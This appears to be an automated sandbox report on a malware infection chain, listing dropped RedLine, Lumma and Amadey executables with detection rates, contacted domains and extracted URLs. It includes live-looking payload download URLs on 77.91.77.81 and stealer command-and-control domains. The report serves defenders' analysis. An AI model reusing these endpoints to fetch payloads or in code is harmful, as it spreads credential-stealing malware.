C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	100%	Joe Sandbox ML
C:\ProgramData\WindowsServices\WindowsAutHost	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	100%	Joe Sandbox ML
C:\ProgramData\WindowsServices\WindowsAutHost	29%	ReversingLabs
C:\ProgramData\okili\peombdb.exe	82%	ReversingLabs	Win32.Trojan.Coroxy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\lrthijawd[1].exe	37%	ReversingLabs	Win64.Trojan.MintZard
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe	79%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe	63%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	92%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe	53%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	79%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	92%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	79%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	66%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	53%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	63%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	37%	ReversingLabs	Win64.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	29%	ReversingLabs
C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	82%	ReversingLabs	Win32.Trojan.Coroxy
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_helpers.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_parser.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_http_writer.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\aiohttp\_websocket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\charset_normalizer\md__mypyc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\frozenlist\_frozenlist.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict\_multidict.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	66%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\yarl\_quoting_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Roaming\configurationValue\One.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	88%	ReversingLabs	Win32.Trojan.RedlineStealer

Source	Detection	Scanner	Label
http://77.91.77.81/lend/services64.exe/	100%	Sophos S4	malware repository uri
https://detailbaconroollyws.shop/apiU	100%	Sophos S4	malware repository domain
https://detailbaconroollyws.shop/apiz	100%	Sophos S4	malware repository domain
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/issues/8996	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpZ	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://77.91.77.81/lend/services64.exe/	100%	Avira URL Cloud	malware
https://github.com/python-attrs/attrs/issues/251	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	0%	Avira URL Cloud	safe
https://account.riotgames.com/api/account/v1/user	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
http://77.91.77.81/lend/lumma123.exe	100%	Sophos S4	malware repository uri
https://patternapplauderw.shop/e	100%	Sophos S4	malware repository domain
https://patternapplauderw.shop/3	100%	Sophos S4	malware repository domain
https://relaxtionflouwerwi.shop/H	100%	Sophos S4	malware repository domain
http://77.91.77.81/Kiru9gu/index.phpQ	0%	Avira URL Cloud	safe
https://patternapplauderw.shop/I	100%	Sophos S4	malware repository domain
https://patternapplauderw.shop/P	100%	Sophos S4	malware repository domain
https://github.com/aio-libs/aiohttp/discussions/6044	0%	Avira URL Cloud	safe
https://detailbaconroollyws.shop/apiU	100%	Avira URL Cloud	malware
https://tiktok.com/	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.php	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpk	0%	Avira URL Cloud	safe
https://python.org/dev/peps/pep-0263/	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://python.org	0%	Avira URL Cloud	safe
http://77.91.77.81/lend/upd.exe	100%	Sophos S4	malware repository uri
https://messtimetabledkolvk.shop/api	100%	Sophos S4	malware repository domain
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	0%	Avira URL Cloud	safe
https://github.com/sponsors/hynek	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpb	0%	Avira URL Cloud	safe
https://oauth.reddit.com/api/v1/me	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	0%	Avira URL Cloud	safe
https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg	0%	Avira URL Cloud	safe
https://github.com/python-attrs/attrs/issues/1200)	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpservices64.exe	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	0%	Avira URL Cloud	safe
http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	0%	Avira URL Cloud	safe
https://discord.com/api/v9/users/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	0%	Avira URL Cloud	safe
https://detailbaconroollyws.shop/apiz	100%	Avira URL Cloud	malware
https://github.com/python-attrs/attrs/issues/136	0%	Avira URL Cloud	safe
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
http://speleotrove.com/decimal/decarith.html	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	0%	Avira URL Cloud	safe
http://curl.haxx.se/rfc/cookie_spec.html	0%	Avira URL Cloud	safe
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	0%	Avira URL Cloud	safe
http://json.org	0%	Avira URL Cloud	safe
https://zopeinterface.readthedocs.io/en/latest/	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	0%	Avira URL Cloud	safe
https://api.ip.sb/ip	0%	Avira URL Cloud	safe
https://open.spotify.com/user/u	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	0%	Avira URL Cloud	safe
http://77.91.77.81/lend/lumma123.exe	0%	Avira URL Cloud	safe
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	0%	Avira URL Cloud	safe
https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	0%	Avira URL Cloud	safe
https://filepreviews.io/	0%	Avira URL Cloud	safe
http://77.91.77.81/lend/lrthijawd.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	0%	Avira URL Cloud	safe
https://patternapplauderw.shop/e	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id21ResponseD	0%	Avira URL Cloud	safe
https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campa	0%	Avira URL Cloud	safe
https://relaxtionflouwerwi.shop/H	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	0%	Avira URL Cloud	safe
https://patternapplauderw.shop/3	100%	Avira URL Cloud	malware
https://www.variomedia.de/	0%	Avira URL Cloud	safe
https://patternapplauderw.shop/I	100%	Avira URL Cloud	malware
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	Avira URL Cloud	safe
https://www.attrs.org/en/stable/changelog.html	0%	Avira URL Cloud	safe
http://77.91.77.81/Kiru9gu/index.phpppData	0%	Avira URL Cloud	safe
https://patternapplauderw.shop/P	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
https://github.com/pyca/cryptography/issues	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	0%	Avira URL Cloud	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	Avira URL Cloud	safe
https://www.attrs.org/	0%	Avira URL Cloud	safe
http://crl.entrust.net/2048ca.crl0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
magenta.de	217.6.164.11	true	false	unknown
asiainnovations.com	43.156.88.241	true	false	unknown
mx4.pub.mailpod9-cph3.one.com	185.164.14.124	true	false	unknown
smtp.dka.mailcore.net	185.138.56.194	true	false	unknown
usp.br	200.144.248.41	true	false	unknown
bigpond.net.au	139.134.5.153	true	false	unknown
mx.jk.locaweb.com.br	200.234.204.130	true	false	unknown
restores.name	52.143.157.238	true	false	unknown
ex2.mail.ovh.net	162.19.129.194	true	false	unknown
plannerinfo.com.br	54.94.140.236	true	false	unknown
mx.free-lesbian-pic.in	104.131.176.42	true	false	unknown
out.ntl.world.com	204.74.99.100	true	false	unknown
alt2.aspmx.l.google.com	142.251.9.26	true	false	unknown
mxlb.ispgateway.de	80.67.18.126	true	false	unknown
out.cinebank.de	64.190.63.222	true	false	unknown
aspmx3.googlemail.com	142.251.9.26	true	false	unknown
cdtm.de	129.187.254.228	true	false	unknown
mxb.eu.mailgun.org	34.95.107.114	true	false	unknown
zing.vn	49.213.103.199	true	false	unknown
vrist.dk	91.221.196.240	true	false	unknown
secure.fernandapaiva.com	13.248.169.48	true	false	unknown
mail.prioritywealth.com.sg	103.104.196.74	true	false	unknown
optusnet.com.au	211.29.132.105	true	false	unknown
mx.powerhousevideoworkshop.com.cust.b.hostedemail.com	64.98.36.4	true	false	unknown
obrademaria.com.br	198.58.116.74	true	false	unknown
rogers.com	40.85.218.2	true	false	unknown
secure.conteadealtavilla.it	199.59.243.225	true	false	unknown
smtprelaypool.ispgateway.de	80.67.29.4	true	false	unknown
mta2.spin.it	79.143.126.202	true	false	unknown
unicaup.com.br	76.76.21.21	true	false	unknown
smtp.telenet.be	195.130.132.10	true	false	unknown
student.uc.pt	193.137.200.184	true	false	unknown
auone.jp	106.162.242.205	true	false	unknown
smtp-vip.uni5.net	191.6.220.100	true	false	unknown
securesmtp.coastmail.dk	93.191.156.89	true	false	unknown
cluster9.us.messagelabs.com	67.219.246.213	true	false	unknown
overdue.aliyun.com	170.33.13.246	true	false	unknown
mail.iowatelecom.syn-alias.com	129.153.232.136	true	false	unknown
officeteam.co.uk	34.246.118.232	true	false	unknown
keuken.be	37.187.209.4	true	false	unknown
marshallschools.com	34.238.178.141	true	false	unknown
FRA-efz.ms-acdc.office.com	40.99.155.226	true	false	unknown
mail.mcmmanufacturing.com.au	172.67.199.213	true	false	unknown
sympatico.ca	199.85.66.2	true	false	unknown
relay-ftrcom.glb.frontiernet.net	66.133.129.50	true	false	unknown
route1.mx.cloudflare.net	162.159.205.11	true	false	unknown
softage.net	188.114.97.3	true	false	unknown
smtpa.forpsi.com	81.2.195.204	true	false	unknown
rhf.com.br	187.33.241.37	true	false	unknown
mta1.youcan.shop	104.18.28.62	true	false	unknown
vodafone.it	45.60.76.192	true	false	unknown
mx-01-eu-central-1.prod.hydra.sophos.com	18.157.203.101	true	false	unknown
flix.be	79.174.131.133	true	false	unknown
signmaq.com.br	52.117.251.242	true	false	unknown
pep4teens.de	217.160.0.220	true	false	unknown
mail6.lhotellerie.fr	194.250.155.101	true	false	unknown
excite.it	51.195.17.238	true	false	unknown
smtp.uhserver.com	200.147.36.31	true	false	unknown
nate.com	120.50.131.112	true	false	unknown
capytech.com	188.114.97.3	true	false	unknown
unicosconstrutora.com.br	45.178.224.186	true	false	unknown
out.simpson.net.au	103.168.172.37	true	false	unknown
mx1.mailchannels.net	34.209.201.52	true	false	unknown
microarea-it.mail.protection.outlook.com	52.101.73.16	true	false	unknown
movilizate.com.co	216.239.36.21	true	false	unknown
centralmedia.com.mx	72.167.251.177	true	false	unknown
peoplepc.com	52.147.208.244	true	false	unknown
ufpr.br	200.17.209.3	true	false	unknown
mail.monmouthstudents.org	75.2.37.224	true	false	unknown
mail.mc.net	209.172.128.24	true	false	unknown
warrentiresvc-com.mail.protection.outlook.com	52.101.41.24	true	false	unknown
ya.com	89.39.182.172	true	false	unknown
secure.welshtechnologies.com	13.68.178.199	true	false	unknown
ggjiaoyu.com.cname1858.yjs-cdn.com	81.70.207.242	true	false	unknown
lostgeek.co.uk	51.148.131.93	true	false	unknown
gutrading.com	209.59.172.32	true	false	unknown
us2.smtp.mailhostbox.com	208.91.199.225	true	false	unknown
yaho.de	13.248.158.7	true	false	unknown
smtpin.rzone.de	81.169.145.97	true	false	unknown
_dc-mx.b9ce573663af.dbarchitecture.fr	82.165.178.113	true	false	unknown
worldonline.cz	82.208.6.131	true	false	unknown
jcl1.com	64.29.145.9	true	false	unknown
educred.ro	89.42.218.39	true	false	unknown
touchstn.com	66.228.40.114	true	false	unknown
mx00.ionos.com	74.208.5.3	true	false	unknown
smtp-ha.skymail.net.br	168.0.132.203	true	false	unknown
mark-e.de	185.60.37.18	true	false	unknown
mail.aruba.it	94.177.209.28	true	false	unknown
us2.mx2.mailhostbox.com	162.215.2.27	true	false	unknown
smtp.bbox.fr	194.158.122.55	true	false	unknown
concordia.psi.br	187.85.164.169	true	false	unknown
mail.nysfam.com	143.95.249.137	true	false	unknown
alt4.aspmx.l.google.com	74.125.200.26	true	false	unknown
smtp.secureserver.net	92.204.80.0	true	false	unknown
pop3.infracomna.it	80.74.176.100	true	false	unknown
gwebiogas-co-uk.mail.protection.outlook.com	52.101.99.2	true	false	unknown
wing2.jp	193.234.251.123	true	false	unknown
education.nsw.gov.au	54.206.86.115	true	false	unknown
mx3.otenet.gr	62.103.147.222	true	false	unknown
smtp.cgocable.ca	132.226.58.96	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://77.91.77.81/Kiru9gu/index.php	true	Avira URL Cloud: safe	unknown
http://77.91.77.81/lend/lumma123.exe	true	Sophos S4: malware repository uri Avira URL Cloud: safe	unknown
http://77.91.77.81/lend/lrthijawd.exe	true	Avira URL Cloud: malware	unknown
http://77.91.77.81/lend/upd.exe	true	Sophos S4: malware repository uri Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/lend/services64.exe/	axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository uri Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.riotgames.com/api/account/v1/user	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpZ	axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/cryptography/issues/8996	judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id23ResponseD	redline123123.exe, 0000000E.00000002.2266923470.000000000355B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/issues/251	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2503018233.00000194D008F000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpQ	axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://detailbaconroollyws.shop/apiU	RegAsm.exe, 00000009.00000002.1883918853.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	true	Sophos S4: malware repository domain Avira URL Cloud: malware	unknown
https://tiktok.com/	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/aio-libs/aiohttp/discussions/6044	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2491330944.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2488788743.00000194D0182000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://python.org	stub.exe, 0000000F.00000002.2504920117.00000194D04E0000.00000004.00001000.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
https://python.org/dev/peps/pep-0263/	judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpk	axplong.exe, 00000002.00000002.2768814464.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id21Response	redline123123.exe, 0000000E.00000002.2266923470.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/sponsors/hynek	stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id6ResponseD	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oauth.reddit.com/api/v1/me	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpb	axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.2768814464.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python-attrs/attrs/issues/1200)	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2500293559.00000194CDCB9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000003.2494541616.00000194CDCB7000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpservices64.exe	axplong.exe, 00000002.00000002.2768814464.0000000001203000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/jsonacityatimezoneaispaorgaasuMain.GetNetworkInfoT	judit.exe, 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	redline123123.exe, 0000000E.00000002.2266923470.00000000031E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
